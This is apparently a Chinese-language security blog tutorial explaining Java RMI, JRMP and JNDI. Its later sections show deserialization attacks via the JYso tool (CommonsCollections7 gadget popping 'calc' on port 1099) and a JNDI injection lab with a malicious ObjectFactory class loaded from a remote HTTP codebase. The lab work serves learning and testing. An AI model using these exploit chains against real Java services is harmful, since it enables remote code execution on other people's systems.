RMI

概念:

RMI(Remote Method Invocation) 是 Java 提供的一种远程通信机制,它允许一个 Java 程序调用另一个 远程 Java 虚拟机(JVM) 中的对象方法,就像调用本地对象一样

为什么要有RMI?

​ 在分布式应用中,不同模块或服务可能部署在不同服务器上,RMI 允许你在一个机器上的 Java 程序远程调用另一台机器上的 Java 方法,实现模块间的通信。

RMI的构成:

​ RMI主要由Server、Client、Registry(服务端、客户端、注册中心)构成。

​ 其中Client作为使用者,远程调用Server上的对象方法,而Server就是远程方法的提供者。

​ 注册中心类似于手机中的通讯录,可以理解为注册中心是用来注册和查找远程对象的目录服务。

​ 服务端通过registry.rebind("服务名", 远程对象) 将远程对象绑定到注册中心。

        //这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中

​ 客户端通过注册中心,在Server端查找所需要的远程对象

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);

如何使用RMI

​ 使用RMI一个很必要的前提就是Client拥有Interface A,而Server拥有Interface A 的实现类 Class A_impl

​ 所以可以理解Client上的每个接口都对应了Server上的一个实现类

Server:
new一个注册中心,并绑定指定的端口 ==》 将创建好的对象添加到注册中心
Client:
通过注册中心提供的方法,获取远程的注册中心 ==》 并通过方法名的方式,在Server上查找服务端方法,并使用

Client代码

public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException {
//去找远程的 注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//通过注册中心,找到远程的远程对象
Calc calc = (Calc) registry.lookup("Calc");
int result = calc.add(1, 2);
System.out.println(result);
}
}

Client上的Interface

package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException; }

Server代码

public class RmiService {
public static void main(String[] args) throws RemoteException {
//这个是注册中心的端口号
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new Calcimpl(); //创建一个计算器的实现类
//使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
//然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
//registry.rebind()方法将计算器对象绑定到RMI服务中
registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
}
}

Server上的Interface及其实现(注意:这里的Interface和Client上的是完全一样的)

package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
public int add(int a , int b) throws java.rmi.RemoteException;
public void print(Object o) throws java.rmi.RemoteException; } ==========================================================================================================================
package org.example.Service; import java.rmi.RemoteException; public class Calcimpl implements Calc{
@Override
public int add(int a, int b) throws RemoteException {
int result = a + b;
System.out.printf("%d + %d = %d", a, b, result);
return result;
} @Override
public void print(Object o) throws RemoteException {
System.out.printf((String) o);
}
}

​ 那么运行Server之后,再运行Client,就能得到对应的结果了

注意!!!

​ Client远程调用Server上的方法A,方法A最终是在Server上运行的,然后由Server将运行完成的结果发送给Client,而不是在Client上运行

JRMP(是RMI的通信协议的名字)

概念

JRMP(Java Remote Method Protocol) 是专门为 Java RMI(Remote Method Invocation) 设计的一种专用通信协议。

​ JRMP 仅用于 RMI 调用,是 RMI 默认使用的底层传输协议。

查看通信过程

​ 还是使用上面的代码,Server端保持运行,然后运行一次客户端,查看JMI使用JRMP协议调用的过程



​ 然后可以发现,这里传输的是经过序列化的数据。这也说明,在Server或Client上是会将其反序列化为Java对象

​ 那么如果将序列化的数据替换成我们的恶意利用链,那么其中一端在反序列化的过程中,就会触发恶意利用链,并执行恶意Payload

工具使用

https://github.com/qi4L/JYso

​ 查看WiKi描述的使用方式

攻击Server

此处意在模拟攻击RMI开放端口

​ 首先,这里保持服务端一直运行(注意,此处JDK版本为jdk8u112,且加载commons-collections 3.2.1)

​ 高版本JDK引入了对象输入过滤器,防止反序列化加载恶意类,所以不太能成功

        <dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

​ 使用命令

D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPClient 127.0.0.1 1099 -g CommonsCollections7 -p calc

​ 成功执行命令calc

攻击Client

此处意在模拟RMI Client参数可控的条件下,攻击Client

​ 首先使用工具起一个监听

D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPListener  1098 -g CommonsCollections7 -p calc

​ 然后修改Client代码中的Host和Port为攻击工具开放的Host和端口

​ 然后执行Client端代码,成功执行payload

JNDI

什么是JNDI

​ JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问命名和目录服务。本质上,它提供了一个 统一的接口,让 Java 程序可以查找资源,比如对象、数据库连接、远程服务等。

那么JNDI和RMI的关系是什么

JNDI 是一个接口,底层可以对接不同的服务提供者(SPI):

  • LDAP(轻量级目录访问协议)
  • RMI Registry
  • DNS
  • File System
  • 自定义服务提供者
名称 作用 举例或说明
JNDI Java Naming and Directory Interface Java 的统一资源查找 API,可以通过名字查找对象(比如数据库、远程服务等)
LDAP Lightweight Directory Access Protocol 一种目录服务协议,JNDI 可以通过它查询结构化的资源(常用于企业环境)
RMI Remote Method Invocation Java 自带的远程对象调用机制,可以通过网络调用远程 Java 对象的方法
JRMP Java Remote Method Protocol RMI 默认使用的底层协议,是 Java 专有的远程通信协议
             JNDI
|
-------------------
| | |
LDAP RMI Others (DNS, File, etc.)
|
JRMP

总结:JNDI是Java提供的API,可以对接不同的服务(如LDAP、RMI、DNS),而JRMP又是RMI的底层协议

JNDI加载恶意类

​ 需要准备:Server、Client、恶意类

恶意类evil_test(这里什么名字都可以)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable; public class evil_test implements ObjectFactory {
//构造方法在类加载的时候就会执行,不需要特意调用,所以要写在构造方法里
public evil_test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

Server代码

public class RmiService {
public static void main(String[] args) throws RemoteException, NamingException {
//搞一个注册中心,注册中心监听端口为1099
Registry registry = LocateRegistry.createRegistry(1099);
//创建一个引用,其中的第一个参数是远程对象名称,第二个参数是远程对象实现的类名,第三个参数是URL
//Reference告诉客户端,要去哪里加载这个远程对象
Reference reference = new Reference("evil_test", "evil_test", "http://127.0.0.1:8088");
//将引用包装成ReferenceWrapper对象,并添加到注册中心中
//这是因为JNDI RMI 注册中心只能接受实现了 Remote 接口的对象,所以需要用别的方法包装一下
registry.rebind("evil_test",new ReferenceWrapper(reference));
}
}

Client代码

package org.example;

import org.example.Service.Calc;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//新建一个命名服务的上下文对象,用于资源的查找
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/evil_test");
}
}

编译恶意类

​ 这里最好使用和受害者机器一样的JDK环境和编码对恶意类进行编译,不然容易出问题

​ 并且恶意类中不应出现包名,不然和受害者包名不一致就会出问题

PS G:\Code\Java\RMIServer\src\main\java> D:\Jdk8u112\bin\javac.exe -encoding UTF-8 .\evil_test.java

​ 编译完成之后,在编译好的class文件处开启一个http服务,用于传输恶意类编译的class!

​ 随后运行Client代码(受害者端),受害者连接Server端,并去我们指定的factoryLocation中查找名为evil_test的恶意类,并加载,最终成功执行Payload

​ 具体的实现原理可见https://www.cnblogs.com/LittleHann/p/17768907.html#_label1

​ 但是需要注意的是从 JDK 8u121 开始,Java 默认 不再信任RMI远程加载的 Reference 对象的类定义

​ 但是可以通过JNDI+LDAP的方式,通过LDAP加载远程恶意类

浅谈RMI、JRMP、JNDI的更多相关文章

  1. 浅谈RMI的特点及作用

    RMI:远程方法调用(Remote Method Invocation) 扩展:RPC与RMI的区别 1:方法调用方式不同: RMI中是通过在客户端的Stub对象作为远程接口进行远程方法的调用.每个远 ...

  2. 微服务浅谈&服务治理的演变过程

    这两天对互联网的架构演变进行了简单了解,并对微服务的出现很感兴趣,所以对相关知识进行了简单的整理与总结. 本篇文章先简单介绍了互联网架构的演变,进而介绍了服务化,最后介绍了微服务及最新的服务网格(Se ...

  3. [转帖]浅谈IOC--说清楚IOC是什么

    浅谈IOC--说清楚IOC是什么 Need Study https://www.cnblogs.com/DebugLZQ/archive/2013/06/05/3107957.html 博文目录 1. ...

  4. 浅谈 Fragment 生命周期

    版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Fragment 文中如有纰漏,欢迎大家留言指出. Fragment 是在 Android 3.0 中 ...

  5. 浅谈 LayoutInflater

    浅谈 LayoutInflater 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/View 文中如有纰漏,欢迎大家留言指出. 在 Android 的 ...

  6. 浅谈Java的throw与throws

    转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...

  7. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  8. 浅谈WebService的版本兼容性设计

    在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...

  9. 浅谈angular2+ionic2

    浅谈angular2+ionic2   前言: 不要用angular的语法去写angular2,有人说二者就像Java和JavaScript的区别.   1. 项目所用:angular2+ionic2 ...

  10. iOS开发之浅谈MVVM的架构设计与团队协作

    今天写这篇博客是想达到抛砖引玉的作用,想与大家交流一下思想,相互学习,博文中有不足之处还望大家批评指正.本篇博客的内容沿袭以往博客的风格,也是以干货为主,偶尔扯扯咸蛋(哈哈~不好好工作又开始发表博客啦 ...

随机推荐

  1. python 打开yaml文件提示Empty test suite.

    网上方案: 我自己: 将test改为其他名称开头即可 读取成功

  2. Web前端入门第 12 问:HTML 常用属性一览

    HELLO,这里是大熊学习前端开发的入门笔记. 本系列笔记基于 windows 系统. HTML 常用属性大约 70 个,是否又头大了?脸上笑嘻嘻,心里嘛...嘿嘿... 温馨提示:属性不用死记硬背, ...

  3. Oracle存储过程里操作BLOB的字节数据的办法

    一.缘由 BLOB是指二进制大对象,也就是英文Binary Large Object的缩写. 在很多时候,我们是通过其他编程语言(如Java)访问BLOB的字节数据,进行字节级的操作的. 但是有些时候 ...

  4. ShardingSphere分组聚合,数据异常问题

    在使用ShardingSphere分组聚合时是,出现了数据汇总不正确问题.我这里只进行了分表,未进行分库.使用的是广播查询,因为是定时任务统计,无法使用到分片键.进行分组的字段是两个 1. SQL查询 ...

  5. sqlite的firedac显示设置

  6. SSL测试证书

    1. tomcat 1.1 生成 keytool -genkey -alias tomcat -keyalg RSA -keystore tomcat.keystore -validity 365 过 ...

  7. STM32F4_HAL_CAN总线注意事项

    如果CAN总线没有连接其他设备,即HL是悬空状态,则发送会失败,下图的Error_Handler需要屏蔽,否则会造成系统卡顿,或影响其他功能模块的使用 /* ********************* ...

  8. python发送QQ邮件,自定义邮件内容

    怎么发QQ邮件,网上的例子很多,就不介绍了,具体可参考:https://www.jianshu.com/p/0f8c5e4e7054 这里主要把自定义邮件内容写一下 # -*- coding: utf ...

  9. 工良出品 | 长文讲解 MCP 和案例实战

    作者:痴者工良 博客地址:https://www.whuanle.cn/ 示例项目地址:https://github.com/whuanle/mcpdemo 近期 MCP 协议越来越爆火,很多开发者都 ...

  10. 2025dsfz集训Day7: KMP与Trie树

    Day7: KMP与Trie树 \[Designed\ By\ FrankWkd\ -\ Luogu@Lwj54joy,uid=845400 \] 特别感谢 此次课的主讲 - Kwling KMP算法 ...